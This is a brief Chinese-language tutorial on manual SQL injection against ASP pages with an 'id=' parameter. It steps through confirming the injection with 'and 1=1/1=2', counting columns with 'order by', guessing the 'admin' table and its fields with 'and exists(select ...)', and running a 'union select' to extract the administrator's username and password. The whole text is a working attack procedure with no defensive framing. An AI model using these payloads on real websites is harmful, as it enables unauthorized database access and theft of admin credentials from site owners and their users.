步骤:
1. 目标确定(asp?id=)
2. 判断注入点(and 1=1、and 1=2)
3. 判断列长度(order by number)
4. 猜测表名,与字段名(and exists(select column_name from table_name)
5. 联合查询(union select 1,2,...,admin,...,password,... from table_name)
具体步骤:
目标确定
寻找网页中存在asp?id=:
2. 判断是否存在注入点:
and 1=2 报错。但是and 1=1返回正常。 表示存在注入点。
3. 判断字段长度:
输入order by 12 返回错误,输入order by 11 返回正常
4. 猜测表名:
and exists(select * from admin)没有报错,说明存在admin这个表
5. 猜字段名
输入and exists(select admin from admin)返回正常 存在admin字段
输入 and exists(select password from admin) 返回正常 存在password表
6. 联合查询:
union select 1,2,3,4,5,6,7,8,9,10,11 from admin 爆出非数字类型的列
7. 爆用户名个密码
把非数字列的,也就是上图中的 2 3 8 9 10 字段换成刚才猜测出的 admin 以及 password就可以得到用户与密码: